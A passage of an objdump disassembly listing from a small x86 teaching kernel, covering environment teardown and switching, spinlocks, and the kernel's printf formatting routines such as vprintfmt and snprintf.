f0101ec2: 05 00 00 00 10 add $0x10000000,%eax
f0101ec7: c1 e8 0c shr $0xc,%eax
f0101eca: 8d 04 c2 lea (%edx,%eax,8),%eax
f0101ecd: 50 push %eax
f0101ece: e8 20 e3 ff ff call f01001f3 <page_decref>
f0101ed3: a1 b4 04 12 f0 mov 0xf01204b4,%eax
f0101ed8: c7 43 54 00 00 00 00 movl $0x0,0x54(%ebx)
f0101edf: 83 c4 10 add $0x10,%esp
f0101ee2: 89 1d b4 04 12 f0 mov %ebx,0xf01204b4
f0101ee8: 89 43 44 mov %eax,0x44(%ebx)
f0101eeb: 8d 65 f4 lea -0xc(%ebp),%esp
f0101eee: 5b pop %ebx
f0101eef: 5e pop %esi
f0101ef0: 5f pop %edi
f0101ef1: 5d pop %ebp
f0101ef2: c3 ret
f0101ef3 <env_destroy>:
f0101ef3: 55 push %ebp
f0101ef4: 89 e5 mov %esp,%ebp
f0101ef6: 53 push %ebx
f0101ef7: 50 push %eax
f0101ef8: 8b 5d 08 mov 0x8(%ebp),%ebx
f0101efb: 83 7b 54 03 cmpl $0x3,0x54(%ebx)
f0101eff: 75 11 jne f0101f12 <env_destroy+0x1f>
f0101f01: 39 1d ac 04 12 f0 cmp %ebx,0xf01204ac
f0101f07: 74 09 je f0101f12 <env_destroy+0x1f>
f0101f09: c7 43 54 01 00 00 00 movl $0x1,0x54(%ebx)
f0101f10: eb 23 jmp f0101f35 <env_destroy+0x42>
f0101f12: 83 ec 0c sub $0xc,%esp
f0101f15: 53 push %ebx
f0101f16: e8 cd fe ff ff call f0101de8 <env_free>
f0101f1b: 83 c4 10 add $0x10,%esp
f0101f1e: 39 1d ac 04 12 f0 cmp %ebx,0xf01204ac
f0101f24: 75 0f jne f0101f35 <env_destroy+0x42>
f0101f26: c7 05 ac 04 12 f0 00 movl $0x0,0xf01204ac
f0101f2d: 00 00 00
f0101f30: e8 3b fa ff ff call f0101970 <sched_yield>
f0101f35: 8b 5d fc mov -0x4(%ebp),%ebx
f0101f38: c9 leave
f0101f39: c3 ret
f0101f3a <env_pop_tf>:
f0101f3a: 55 push %ebp
f0101f3b: 89 e5 mov %esp,%ebp
f0101f3d: 83 ec 0c sub $0xc,%esp
f0101f40: 8b 65 08 mov 0x8(%ebp),%esp
f0101f43: 61 popa
f0101f44: 07 pop %es
f0101f45: 1f pop %ds
f0101f46: 83 c4 08 add $0x8,%esp
f0101f49: cf iret
f0101f4a: 68 1f 34 10 f0 push $0xf010341f
f0101f4f: 68 e6 01 00 00 push $0x1e6
f0101f54: 68 ee 33 10 f0 push $0xf01033ee
f0101f59: e8 73 06 00 00 call f01025d1 <_panic>
f0101f5e <env_run>:
f0101f5e: 55 push %ebp
f0101f5f: 89 e5 mov %esp,%ebp
f0101f61: 53 push %ebx
f0101f62: 50 push %eax
f0101f63: 8b 5d 08 mov 0x8(%ebp),%ebx
f0101f66: a1 ac 04 12 f0 mov 0xf01204ac,%eax
f0101f6b: 39 d8 cmp %ebx,%eax
f0101f6d: 74 2c je f0101f9b <env_run+0x3d>
f0101f6f: 85 c0 test %eax,%eax
f0101f71: 74 0d je f0101f80 <env_run+0x22>
f0101f73: 83 78 54 03 cmpl $0x3,0x54(%eax)
f0101f77: 75 07 jne f0101f80 <env_run+0x22>
f0101f79: c7 40 54 02 00 00 00 movl $0x2,0x54(%eax)
f0101f80: 8b 43 60 mov 0x60(%ebx),%eax
f0101f83: 89 1d ac 04 12 f0 mov %ebx,0xf01204ac
f0101f89: c7 43 54 03 00 00 00 movl $0x3,0x54(%ebx)
f0101f90: ff 43 58 incl 0x58(%ebx)
f0101f93: 05 00 00 00 10 add $0x10000000,%eax
f0101f98: 0f 22 d8 mov %eax,%cr3
f0101f9b: 83 ec 0c sub $0xc,%esp
f0101f9e: 68 cc 08 12 f0 push $0xf01208cc
f0101fa3: e8 32 00 00 00 call f0101fda <spin_unlock>
f0101fa8: f3 90 pause
f0101faa: 89 1c 24 mov %ebx,(%esp)
f0101fad: e8 88 ff ff ff call f0101f3a <env_pop_tf>
f0101fb2 <__spin_initlock>:
f0101fb2: 55 push %ebp
f0101fb3: 89 e5 mov %esp,%ebp
f0101fb5: 8b 45 08 mov 0x8(%ebp),%eax
f0101fb8: c7 00 00 00 00 00 movl $0x0,(%eax)
f0101fbe: 5d pop %ebp
f0101fbf: c3 ret
f0101fc0 <spin_lock>:
f0101fc0: 55 push %ebp
f0101fc1: b9 01 00 00 00 mov $0x1,%ecx
f0101fc6: 89 e5 mov %esp,%ebp
f0101fc8: 8b 55 08 mov 0x8(%ebp),%edx
f0101fcb: 89 c8 mov %ecx,%eax
f0101fcd: f0 87 02 lock xchg %eax,(%edx)
f0101fd0: 85 c0 test %eax,%eax
f0101fd2: 74 04 je f0101fd8 <spin_lock+0x18>
f0101fd4: f3 90 pause
f0101fd6: eb f3 jmp f0101fcb <spin_lock+0xb>
f0101fd8: 5d pop %ebp
f0101fd9: c3 ret
f0101fda <spin_unlock>:
f0101fda: 55 push %ebp
f0101fdb: 31 c0 xor %eax,%eax
f0101fdd: 89 e5 mov %esp,%ebp
f0101fdf: 8b 55 08 mov 0x8(%ebp),%edx
f0101fe2: f0 87 02 lock xchg %eax,(%edx)
f0101fe5: 5d pop %ebp
f0101fe6: c3 ret
f0101fe7 <printnum>:
f0101fe7: 55 push %ebp
f0101fe8: 89 e5 mov %esp,%ebp
f0101fea: 57 push %edi
f0101feb: 56 push %esi
f0101fec: 53 push %ebx
f0101fed: 89 d7 mov %edx,%edi
f0101fef: 83 ec 1c sub $0x1c,%esp
f0101ff2: 89 4d e0 mov %ecx,-0x20(%ebp)
f0101ff5: 8b 5d 08 mov 0x8(%ebp),%ebx
f0101ff8: 39 5d e0 cmp %ebx,-0x20(%ebp)
f0101ffb: 89 45 e4 mov %eax,-0x1c(%ebp)
f0101ffe: 8b 75 0c mov 0xc(%ebp),%esi
f0102001: 8b 4d 10 mov 0x10(%ebp),%ecx
f0102004: 72 1d jb f0102023 <printnum+0x3c>
f0102006: 8b 45 e0 mov -0x20(%ebp),%eax
f0102009: 31 d2 xor %edx,%edx
f010200b: 4e dec %esi
f010200c: f7 f3 div %ebx
f010200e: 52 push %edx
f010200f: 51 push %ecx
f0102010: 89 c1 mov %eax,%ecx
f0102012: 8b 45 e4 mov -0x1c(%ebp),%eax
f0102015: 56 push %esi
f0102016: 89 fa mov %edi,%edx
f0102018: 53 push %ebx
f0102019: e8 c9 ff ff ff call f0101fe7 <printnum>
f010201e: 83 c4 10 add $0x10,%esp
f0102021: eb 19 jmp f010203c <printnum+0x55>
f0102023: 4e dec %esi
f0102024: 85 f6 test %esi,%esi
f0102026: 7e 14 jle f010203c <printnum+0x55>
f0102028: 50 push %eax
f0102029: 50 push %eax
f010202a: 57 push %edi
f010202b: 51 push %ecx
f010202c: 89 4d dc mov %ecx,-0x24(%ebp)
f010202f: 8b 45 e4 mov -0x1c(%ebp),%eax
f0102032: ff d0 call *%eax
f0102034: 83 c4 10 add $0x10,%esp
f0102037: 8b 4d dc mov -0x24(%ebp),%ecx
f010203a: eb e7 jmp f0102023 <printnum+0x3c>
f010203c: 8b 45 e0 mov -0x20(%ebp),%eax
f010203f: 31 d2 xor %edx,%edx
f0102041: 89 7d 0c mov %edi,0xc(%ebp)
f0102044: f7 f3 div %ebx
f0102046: 0f be 82 2b 34 10 f0 movsbl -0xfefcbd5(%edx),%eax
f010204d: 89 45 08 mov %eax,0x8(%ebp)
f0102050: 8b 45 e4 mov -0x1c(%ebp),%eax
f0102053: 8d 65 f4 lea -0xc(%ebp),%esp
f0102056: 5b pop %ebx
f0102057: 5e pop %esi
f0102058: 5f pop %edi
f0102059: 5d pop %ebp
f010205a: ff e0 jmp *%eax
f010205c <sprintputch>:
f010205c: 55 push %ebp
f010205d: 89 e5 mov %esp,%ebp
f010205f: 8b 45 0c mov 0xc(%ebp),%eax
f0102062: ff 40 08 incl 0x8(%eax)
f0102065: 8b 10 mov (%eax),%edx
f0102067: 3b 50 04 cmp 0x4(%eax),%edx
f010206a: 73 0a jae f0102076 <sprintputch+0x1a>
f010206c: 8d 4a 01 lea 0x1(%edx),%ecx
f010206f: 89 08 mov %ecx,(%eax)
f0102071: 8b 45 08 mov 0x8(%ebp),%eax
f0102074: 88 02 mov %al,(%edx)
f0102076: 5d pop %ebp
f0102077: c3 ret
f0102078 <putch>:
f0102078: 55 push %ebp
f0102079: 89 e5 mov %esp,%ebp
f010207b: 53 push %ebx
f010207c: 83 ec 10 sub $0x10,%esp
f010207f: 8b 5d 0c mov 0xc(%ebp),%ebx
f0102082: ff 75 08 pushl 0x8(%ebp)
f0102085: e8 ee e9 ff ff call f0100a78 <cputchar>
f010208a: ff 03 incl (%ebx)
f010208c: 83 c4 10 add $0x10,%esp
f010208f: 8b 5d fc mov -0x4(%ebp),%ebx
f0102092: c9 leave
f0102093: c3 ret
f0102094 <getuint>:
f0102094: 55 push %ebp
f0102095: 83 fa 01 cmp $0x1,%edx
f0102098: 8b 08 mov (%eax),%ecx
f010209a: 89 e5 mov %esp,%ebp
f010209c: 7e 0c jle f01020aa <getuint+0x16>
f010209e: 8d 51 08 lea 0x8(%ecx),%edx
f01020a1: 89 10 mov %edx,(%eax)
f01020a3: 8b 01 mov (%ecx),%eax
f01020a5: 8b 51 04 mov 0x4(%ecx),%edx
f01020a8: eb 09 jmp f01020b3 <getuint+0x1f>
f01020aa: 8d 51 04 lea 0x4(%ecx),%edx
f01020ad: 89 10 mov %edx,(%eax)
f01020af: 8b 01 mov (%ecx),%eax
f01020b1: 31 d2 xor %edx,%edx
f01020b3: 5d pop %ebp
f01020b4: c3 ret
f01020b5 <vprintfmt>:
f01020b5: 55 push %ebp
f01020b6: 89 e5 mov %esp,%ebp
f01020b8: 57 push %edi
f01020b9: 56 push %esi
f01020ba: 53 push %ebx
f01020bb: 83 ec 2c sub $0x2c,%esp
f01020be: 8b 7d 08 mov 0x8(%ebp),%edi
f01020c1: 8b 5d 0c mov 0xc(%ebp),%ebx
f01020c4: 8b 75 10 mov 0x10(%ebp),%esi
f01020c7: 46 inc %esi
f01020c8: 0f b6 46 ff movzbl -0x1(%esi),%eax
f01020cc: 83 f8 25 cmp $0x25,%eax
f01020cf: 74 13 je f01020e4 <vprintfmt+0x2f>
f01020d1: 85 c0 test %eax,%eax
f01020d3: 0f 84 5f 03 00 00 je f0102438 <vprintfmt+0x383>
f01020d9: 51 push %ecx
f01020da: 51 push %ecx
f01020db: 53 push %ebx
f01020dc: 50 push %eax
f01020dd: ff d7 call *%edi
f01020df: 83 c4 10 add $0x10,%esp
f01020e2: eb e3 jmp f01020c7 <vprintfmt+0x12>
f01020e4: c6 45 d4 20 movb $0x20,-0x2c(%ebp)
f01020e8: c7 45 d0 00 00 00 00 movl $0x0,-0x30(%ebp)
f01020ef: 31 d2 xor %edx,%edx
f01020f1: c7 45 d8 ff ff ff ff movl $0xffffffff,-0x28(%ebp)
f01020f8: c7 45 e4 ff ff ff ff movl $0xffffffff,-0x1c(%ebp)
f01020ff: 0f b6 0e movzbl (%esi),%ecx
f0102102: 8d 46 01 lea 0x1(%esi),%eax
f0102105: 89 45 e0 mov %eax,-0x20(%ebp)
f0102108: 80 f9 63 cmp $0x63,%cl
f010210b: 0f 84 4d 01 00 00 je f010225e <vprintfmt+0x1a9>
f0102111: 77 6f ja f0102182 <vprintfmt+0xcd>
f0102113: 80 f9 2d cmp $0x2d,%cl
f0102116: 75 09 jne f0102121 <vprintfmt+0x6c>
f0102118: c6 45 d4 2d movb $0x2d,-0x2c(%ebp)
f010211c: 8b 75 e0 mov -0x20(%ebp),%esi
f010211f: eb de jmp f01020ff <vprintfmt+0x4a>
f0102121: 77 24 ja f0102147 <vprintfmt+0x92>
f0102123: 80 f9 25 cmp $0x25,%cl
f0102126: 0f 84 df 02 00 00 je f010240b <vprintfmt+0x356>
f010212c: 80 f9 2a cmp $0x2a,%cl
f010212f: 0f 84 ff 00 00 00 je f0102234 <vprintfmt+0x17f>
f0102135: 80 f9 23 cmp $0x23,%cl
f0102138: 0f 85 db 02 00 00 jne f0102419 <vprintfmt+0x364>
f010213e: c7 45 d0 01 00 00 00 movl $0x1,-0x30(%ebp)
f0102145: eb d5 jmp f010211c <vprintfmt+0x67>
f0102147: 80 f9 30 cmp $0x30,%cl
f010214a: 0f 84 bd 00 00 00 je f010220d <vprintfmt+0x158>
f0102150: 77 1b ja f010216d <vprintfmt+0xb8>
f0102152: 80 f9 2e cmp $0x2e,%cl
f0102155: 0f 85 be 02 00 00 jne f0102419 <vprintfmt+0x364>
f010215b: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
f010215f: b8 00 00 00 00 mov $0x0,%eax
f0102164: 0f 49 45 e4 cmovns -0x1c(%ebp),%eax
f0102168: 89 45 e4 mov %eax,-0x1c(%ebp)
f010216b: eb af jmp f010211c <vprintfmt+0x67>
f010216d: 80 f9 39 cmp $0x39,%cl
f0102170: 0f 87 a3 02 00 00 ja f0102419 <vprintfmt+0x364>
f0102176: c7 45 d8 00 00 00 00 movl $0x0,-0x28(%ebp)
f010217d: e9 94 00 00 00 jmp f0102216 <vprintfmt+0x161>
f0102182: 80 f9 6f cmp $0x6f,%cl
f0102185: 0f 84 4e 02 00 00 je f01023d9 <vprintfmt+0x324>
f010218b: 77 1e ja f01021ab <vprintfmt+0xf6>
f010218d: 80 f9 65 cmp $0x65,%cl
f0102190: 0f 84 db 00 00 00 je f0102271 <vprintfmt+0x1bc>
f0102196: 0f 82 e5 01 00 00 jb f0102381 <vprintfmt+0x2cc>
f010219c: 80 f9 6c cmp $0x6c,%cl
f010219f: 0f 85 74 02 00 00 jne f0102419 <vprintfmt+0x364>
f01021a5: 42 inc %edx
f01021a6: e9 71 ff ff ff jmp f010211c <vprintfmt+0x67>
f01021ab: 80 f9 73 cmp $0x73,%cl
f01021ae: 0f 84 f7 00 00 00 je f01022ab <vprintfmt+0x1f6>
f01021b4: 77 32 ja f01021e8 <vprintfmt+0x133>
f01021b6: 80 f9 70 cmp $0x70,%cl
f01021b9: 0f 85 5a 02 00 00 jne f0102419 <vprintfmt+0x364>
f01021bf: 56 push %esi
f01021c0: 56 push %esi
f01021c1: 53 push %ebx
f01021c2: 6a 30 push $0x30
f01021c4: ff d7 call *%edi
f01021c6: 58 pop %eax
f01021c7: 5a pop %edx
f01021c8: 53 push %ebx
f01021c9: 6a 78 push $0x78
f01021cb: ff d7 call *%edi
f01021cd: 8b 45 14 mov 0x14(%ebp),%eax
f01021d0: 83 c4 10 add $0x10,%esp
f01021d3: 8d 50 04 lea 0x4(%eax),%edx
f01021d6: 89 55 14 mov %edx,0x14(%ebp)
f01021d9: 8b 00 mov (%eax),%eax
f01021db: 31 d2 xor %edx,%edx
f01021dd: 89 55 dc mov %edx,-0x24(%ebp)
f01021e0: 89 45 d8 mov %eax,-0x28(%ebp)
f01021e3: e9 06 02 00 00 jmp f01023ee <vprintfmt+0x339>
f01021e8: 80 f9 75 cmp $0x75,%cl
f01021eb: 0f 84 d3 01 00 00 je f01023c4 <vprintfmt+0x30f>
f01021f1: 80 f9 78 cmp $0x78,%cl
f01021f4: 0f 85 1f 02 00 00 jne f0102419 <vprintfmt+0x364>
f01021fa: 8d 45 14 lea 0x14(%ebp),%eax
f01021fd: e8 92 fe ff ff call f0102094 <getuint>
f0102202: 89 45 d8 mov %eax,-0x28(%ebp)
f0102205: 89 55 dc mov %edx,-0x24(%ebp)
f0102208: e9 e1 01 00 00 jmp f01023ee <vprintfmt+0x339>
f010220d: c6 45 d4 30 movb $0x30,-0x2c(%ebp)
f0102211: e9 06 ff ff ff jmp f010211c <vprintfmt+0x67>
f0102216: 6b 45 d8 0a imul $0xa,-0x28(%ebp),%eax
f010221a: 8d 44 01 d0 lea -0x30(%ecx,%eax,1),%eax
f010221e: 89 45 d8 mov %eax,-0x28(%ebp)
f0102221: 8b 45 e0 mov -0x20(%ebp),%eax
f0102224: 0f be 08 movsbl (%eax),%ecx
f0102227: 8d 41 d0 lea -0x30(%ecx),%eax
f010222a: 83 f8 09 cmp $0x9,%eax
f010222d: 77 13 ja f0102242 <vprintfmt+0x18d>
f010222f: ff 45 e0 incl -0x20(%ebp)
f0102232: eb e2 jmp f0102216 <vprintfmt+0x161>
f0102234: 8b 45 14 mov 0x14(%ebp),%eax
f0102237: 8d 48 04 lea 0x4(%eax),%ecx
f010223a: 89 4d 14 mov %ecx,0x14(%ebp)
f010223d: 8b 00 mov (%eax),%eax
f010223f: 89 45 d8 mov %eax,-0x28(%ebp)
f0102242: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
f0102246: 0f 89 d0 fe ff ff jns f010211c <vprintfmt+0x67>
f010224c: 8b 45 d8 mov -0x28(%ebp),%eax
f010224f: c7 45 d8 ff ff ff ff movl $0xffffffff,-0x28(%ebp)
f0102256: 89 45 e4 mov %eax,-0x1c(%ebp)
f0102259: e9 be fe ff ff jmp f010211c <vprintfmt+0x67>
f010225e: 8b 45 14 mov 0x14(%ebp),%eax
f0102261: 8d 50 04 lea 0x4(%eax),%edx
f0102264: 89 55 14 mov %edx,0x14(%ebp)
f0102267: 52 push %edx
f0102268: 52 push %edx
f0102269: 53 push %ebx
f010226a: ff 30 pushl (%eax)
f010226c: e9 9e 01 00 00 jmp f010240f <vprintfmt+0x35a>
f0102271: 8b 45 14 mov 0x14(%ebp),%eax
f0102274: 8d 50 04 lea 0x4(%eax),%edx
f0102277: 89 55 14 mov %edx,0x14(%ebp)
f010227a: 8b 00 mov (%eax),%eax
f010227c: 99 cltd
f010227d: 31 d0 xor %edx,%eax
f010227f: 29 d0 sub %edx,%eax
f0102281: 83 f8 11 cmp $0x11,%eax
f0102284: 7f 0b jg f0102291 <vprintfmt+0x1dc>
f0102286: 8b 14 85 00 36 10 f0 mov -0xfefca00(,%eax,4),%edx
f010228d: 85 d2 test %edx,%edx
f010228f: 75 08 jne f0102299 <vprintfmt+0x1e4>
f0102291: 50 push %eax
f0102292: 68 43 34 10 f0 push $0xf0103443
f0102297: eb 06 jmp f010229f <vprintfmt+0x1ea>
f0102299: 52 push %edx
f010229a: 68 4c 34 10 f0 push $0xf010344c
f010229f: 53 push %ebx
f01022a0: 57 push %edi
f01022a1: e8 d4 01 00 00 call f010247a <printfmt>
f01022a6: e9 66 01 00 00 jmp f0102411 <vprintfmt+0x35c>
f01022ab: 8b 45 14 mov 0x14(%ebp),%eax
f01022ae: 8d 50 04 lea 0x4(%eax),%edx
f01022b1: 89 55 14 mov %edx,0x14(%ebp)
f01022b4: 8b 30 mov (%eax),%esi
f01022b6: b8 3c 34 10 f0 mov $0xf010343c,%eax
f01022bb: 85 f6 test %esi,%esi
f01022bd: 0f 44 f0 cmove %eax,%esi
f01022c0: 80 7d d4 2d cmpb $0x2d,-0x2c(%ebp)
f01022c4: 74 06 je f01022cc <vprintfmt+0x217>
f01022c6: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp)
f01022ca: 7f 05 jg f01022d1 <vprintfmt+0x21c>
f01022cc: 89 75 d4 mov %esi,-0x2c(%ebp)
f01022cf: eb 6a jmp f010233b <vprintfmt+0x286>
f01022d1: 50 push %eax
f01022d2: 50 push %eax
f01022d3: ff 75 d8 pushl -0x28(%ebp)
f01022d6: 56 push %esi
f01022d7: e8 5d 03 00 00 call f0102639 <strnlen>
f01022dc: 8b 55 e4 mov -0x1c(%ebp),%edx
f01022df: 0f be 4d d4 movsbl -0x2c(%ebp),%ecx
f01022e3: 83 c4 10 add $0x10,%esp
f01022e6: 29 c2 sub %eax,%edx
f01022e8: 89 d0 mov %edx,%eax
f01022ea: 85 c0 test %eax,%eax
f01022ec: 7e 1e jle f010230c <vprintfmt+0x257>
f01022ee: 89 45 d4 mov %eax,-0x2c(%ebp)
f01022f1: 89 55 cc mov %edx,-0x34(%ebp)
f01022f4: 89 4d e4 mov %ecx,-0x1c(%ebp)
f01022f7: 50 push %eax
f01022f8: 50 push %eax
f01022f9: 53 push %ebx
f01022fa: 51 push %ecx
f01022fb: ff d7 call *%edi
f01022fd: 8b 45 d4 mov -0x2c(%ebp),%eax
f0102300: 83 c4 10 add $0x10,%esp
f0102303: 8b 55 cc mov -0x34(%ebp),%edx
f0102306: 8b 4d e4 mov -0x1c(%ebp),%ecx
f0102309: 48 dec %eax
f010230a: eb de jmp f01022ea <vprintfmt+0x235>
f010230c: 85 d2 test %edx,%edx
f010230e: b8 00 00 00 00 mov $0x0,%eax
f0102313: 0f 49 c2 cmovns %edx,%eax
f0102316: 29 c2 sub %eax,%edx
f0102318: 89 55 e4 mov %edx,-0x1c(%ebp)
f010231b: eb af jmp f01022cc <vprintfmt+0x217>
f010231d: 83 7d d8 00 cmpl $0x0,-0x28(%ebp)
f0102321: 79 36 jns f0102359 <vprintfmt+0x2a4>
f0102323: 83 7d d0 00 cmpl $0x0,-0x30(%ebp)
f0102327: 74 2a je f0102353 <vprintfmt+0x29e>
f0102329: 8d 42 e0 lea -0x20(%edx),%eax
f010232c: 83 f8 5e cmp $0x5e,%eax
f010232f: 76 22 jbe f0102353 <vprintfmt+0x29e>
f0102331: 50 push %eax
f0102332: 50 push %eax
f0102333: 53 push %ebx
f0102334: 6a 3f push $0x3f
f0102336: ff d7 call *%edi
f0102338: 83 c4 10 add $0x10,%esp
f010233b: 8b 45 e4 mov -0x1c(%ebp),%eax
f010233e: 2b 45 d4 sub -0x2c(%ebp),%eax
f0102341: ff 45 d4 incl -0x2c(%ebp)
f0102344: 8b 4d d4 mov -0x2c(%ebp),%ecx
f0102347: 01 f0 add %esi,%eax
f0102349: 0f be 51 ff movsbl -0x1(%ecx),%edx
f010234d: 85 d2 test %edx,%edx
f010234f: 75 cc jne f010231d <vprintfmt+0x268>
f0102351: eb 22 jmp f0102375 <vprintfmt+0x2c0>
f0102353: 50 push %eax
f0102354: 50 push %eax
f0102355: 53 push %ebx
f0102356: 52 push %edx
f0102357: eb dd jmp f0102336 <vprintfmt+0x281>
f0102359: ff 4d d8 decl -0x28(%ebp)
f010235c: 83 7d d8 ff cmpl $0xffffffff,-0x28(%ebp)
f0102360: 75 c1 jne f0102323 <vprintfmt+0x26e>
f0102362: eb 11 jmp f0102375 <vprintfmt+0x2c0>
f0102364: 89 45 e4 mov %eax,-0x1c(%ebp)
f0102367: 56 push %esi
f0102368: 56 push %esi
f0102369: 53 push %ebx
f010236a: 6a 20 push $0x20
f010236c: ff d7 call *%edi
f010236e: 8b 45 e4 mov -0x1c(%ebp),%eax
f0102371: 83 c4 10 add $0x10,%esp
f0102374: 48 dec %eax
f0102375: 85 c0 test %eax,%eax
f0102377: 7f eb jg f0102364 <vprintfmt+0x2af>
f0102379: 8b 75 e0 mov -0x20(%ebp),%esi
f010237c: e9 46 fd ff ff jmp f01020c7 <vprintfmt+0x12>
f0102381: 4a dec %edx
f0102382: 8b 45 14 mov 0x14(%ebp),%eax
f0102385: 7e 0d jle f0102394 <vprintfmt+0x2df>
f0102387: 8d 50 08 lea 0x8(%eax),%edx
f010238a: 89 55 14 mov %edx,0x14(%ebp)
f010238d: 8b 50 04 mov 0x4(%eax),%edx
f0102390: 8b 00 mov (%eax),%eax
f0102392: eb 09 jmp f010239d <vprintfmt+0x2e8>
f0102394: 8d 50 04 lea 0x4(%eax),%edx
f0102397: 89 55 14 mov %edx,0x14(%ebp)
f010239a: 8b 00 mov (%eax),%eax
f010239c: 99 cltd
f010239d: 89 55 dc mov %edx,-0x24(%ebp)
f01023a0: 83 7d dc 00 cmpl $0x0,-0x24(%ebp)
f01023a4: be 0a 00 00 00 mov $0xa,%esi
f01023a9: 89 45 d8 mov %eax,-0x28(%ebp)
f01023ac: 79 45 jns f01023f3 <vprintfmt+0x33e>
f01023ae: 51 push %ecx
f01023af: 51 push %ecx
f01023b0: 53 push %ebx
f01023b1: 6a 2d push $0x2d
f01023b3: ff d7 call *%edi
f01023b5: f7 5d d8 negl -0x28(%ebp)
f01023b8: 83 55 dc 00 adcl $0x0,-0x24(%ebp)
f01023bc: 83 c4 10 add $0x10,%esp
f01023bf: f7 5d dc negl -0x24(%ebp)
f01023c2: eb 2f jmp f01023f3 <vprintfmt+0x33e>
f01023c4: 8d 45 14 lea 0x14(%ebp),%eax
f01023c7: be 0a 00 00 00 mov $0xa,%esi
f01023cc: e8 c3 fc ff ff call f0102094 <getuint>
f01023d1: 89 45 d8 mov %eax,-0x28(%ebp)
f01023d4: 89 55 dc mov %edx,-0x24(%ebp)
f01023d7: eb 1a jmp f01023f3 <vprintfmt+0x33e>
f01023d9: 8d 45 14 lea 0x14(%ebp),%eax
f01023dc: be 08 00 00 00 mov $0x8,%esi
f01023e1: e8 ae fc ff ff call f0102094 <getuint>
f01023e6: 89 45 d8 mov %eax,-0x28(%ebp)
f01023e9: 89 55 dc mov %edx,-0x24(%ebp)
f01023ec: eb 05 jmp f01023f3 <vprintfmt+0x33e>
f01023ee: be 10 00 00 00 mov $0x10,%esi
f01023f3: 0f be 55 d4 movsbl -0x2c(%ebp),%edx
f01023f7: 51 push %ecx
f01023f8: 89 f8 mov %edi,%eax
f01023fa: 8b 4d d8 mov -0x28(%ebp),%ecx
f01023fd: 52 push %edx
f01023fe: ff 75 e4 pushl -0x1c(%ebp)
f0102401: 89 da mov %ebx,%edx
f0102403: 56 push %esi
f0102404: e8 de fb ff ff call f0101fe7 <printnum>
f0102409: eb 06 jmp f0102411 <vprintfmt+0x35c>
f010240b: 52 push %edx
f010240c: 52 push %edx
f010240d: 53 push %ebx
f010240e: 51 push %ecx
f010240f: ff d7 call *%edi
f0102411: 83 c4 10 add $0x10,%esp
f0102414: e9 60 ff ff ff jmp f0102379 <vprintfmt+0x2c4>
f0102419: 50 push %eax
f010241a: 50 push %eax
f010241b: 53 push %ebx
f010241c: 6a 25 push $0x25
f010241e: ff d7 call *%edi
f0102420: 83 c4 10 add $0x10,%esp
f0102423: 89 75 e0 mov %esi,-0x20(%ebp)
f0102426: 8b 45 e0 mov -0x20(%ebp),%eax
f0102429: 80 78 ff 25 cmpb $0x25,-0x1(%eax)
f010242d: 0f 84 46 ff ff ff je f0102379 <vprintfmt+0x2c4>
f0102433: ff 4d e0 decl -0x20(%ebp)
f0102436: eb ee jmp f0102426 <vprintfmt+0x371>
f0102438: 8d 65 f4 lea -0xc(%ebp),%esp
f010243b: 5b pop %ebx
f010243c: 5e pop %esi
f010243d: 5f pop %edi
f010243e: 5d pop %ebp
f010243f: c3 ret
f0102440 <vcprintf>:
f0102440: 55 push %ebp
f0102441: 89 e5 mov %esp,%ebp
f0102443: 83 ec 18 sub $0x18,%esp
f0102446: 8d 45 f4 lea -0xc(%ebp),%eax
f0102449: ff 75 0c pushl 0xc(%ebp)
f010244c: ff 75 08 pushl 0x8(%ebp)
f010244f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
f0102456: 50 push %eax
f0102457: 68 78 20 10 f0 push $0xf0102078
f010245c: e8 54 fc ff ff call f01020b5 <vprintfmt>
f0102461: 8b 45 f4 mov -0xc(%ebp),%eax
f0102464: c9 leave
f0102465: c3 ret
f0102466 <cprintf>:
f0102466: 55 push %ebp
f0102467: 89 e5 mov %esp,%ebp
f0102469: 83 ec 10 sub $0x10,%esp
f010246c: 8d 45 0c lea 0xc(%ebp),%eax
f010246f: 50 push %eax
f0102470: ff 75 08 pushl 0x8(%ebp)
f0102473: e8 c8 ff ff ff call f0102440 <vcprintf>
f0102478: c9 leave
f0102479: c3 ret
f010247a <printfmt>:
f010247a: 55 push %ebp
f010247b: 89 e5 mov %esp,%ebp
f010247d: 83 ec 08 sub $0x8,%esp
f0102480: 8d 45 14 lea 0x14(%ebp),%eax
f0102483: 50 push %eax
f0102484: ff 75 10 pushl 0x10(%ebp)
f0102487: ff 75 0c pushl 0xc(%ebp)
f010248a: ff 75 08 pushl 0x8(%ebp)
f010248d: e8 23 fc ff ff call f01020b5 <vprintfmt>
f0102492: 83 c4 10 add $0x10,%esp
f0102495: c9 leave
f0102496: c3 ret
f0102497 <vsnprintf>:
f0102497: 55 push %ebp
f0102498: 89 e5 mov %esp,%ebp
f010249a: 83 ec 18 sub $0x18,%esp
f010249d: 8b 45 08 mov 0x8(%ebp),%eax
f01024a0: 8b 55 0c mov 0xc(%ebp),%edx
f01024a3: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
f01024aa: 8d 4c 10 ff lea -0x1(%eax,%edx,1),%ecx
f01024ae: 85 c0 test %eax,%eax
f01024b0: 89 45 ec mov %eax,-0x14(%ebp)
f01024b3: 89 4d f0 mov %ecx,-0x10(%ebp)
f01024b6: 74 26 je f01024de <vsnprintf+0x47>
f01024b8: 85 d2 test %edx,%edx
f01024ba: 7e 22 jle f01024de <vsnprintf+0x47>
f01024bc: 8d 45 ec lea -0x14(%ebp),%eax
f01024bf: ff 75 14 pushl 0x14(%ebp)
f01024c2: ff 75 10 pushl 0x10(%ebp)
f01024c5: 50 push %eax
f01024c6: 68 5c 20 10 f0 push $0xf010205c
f01024cb: e8 e5 fb ff ff call f01020b5 <vprintfmt>
f01024d0: 8b 45 ec mov -0x14(%ebp),%eax
f01024d3: 83 c4 10 add $0x10,%esp
f01024d6: c6 00 00 movb $0x0,(%eax)
f01024d9: 8b 45 f4 mov -0xc(%ebp),%eax
f01024dc: eb 05 jmp f01024e3 <vsnprintf+0x4c>
f01024de: b8 fd ff ff ff mov $0xfffffffd,%eax
f01024e3: c9 leave
f01024e4: c3 ret
f01024e5 <snprintf>:
f01024e5: 55 push %ebp
f01024e6: 89 e5 mov %esp,%ebp
f01024e8: 83 ec 08 sub $0x8,%esp
f01024eb: 8d 45 14 lea 0x14(%ebp),%eax
f01024ee: 50 push %eax
